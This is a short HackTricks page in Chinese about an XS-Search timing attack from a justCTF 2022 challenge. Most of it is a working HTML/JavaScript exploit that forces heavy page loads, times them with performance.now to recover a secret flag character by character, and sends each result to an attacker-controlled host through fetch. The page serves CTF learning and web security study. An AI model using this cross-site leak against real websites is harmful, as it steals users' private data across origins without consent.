hacktricks/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

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performance.now + 强制重任务

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利用来源于https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

在这个挑战中,用户可以发送数千个字符,如果包含标志,则字符将被发送回给机器人。因此,通过发送大量字符,攻击者可以测量发送的字符串中是否包含标志。

{% hint style="warning" %} 最初,我没有设置对象的宽度和高度,但后来发现这很重要,因为默认大小太小,无法在加载时间上产生差异。 {% endhint %}

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')

function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}

function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'

async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}

found /= 3
notFound /= 3

send('found flag:'+found)
send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)

if (notFound > found) {
return
}

// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()

</script>
</body>

</html>
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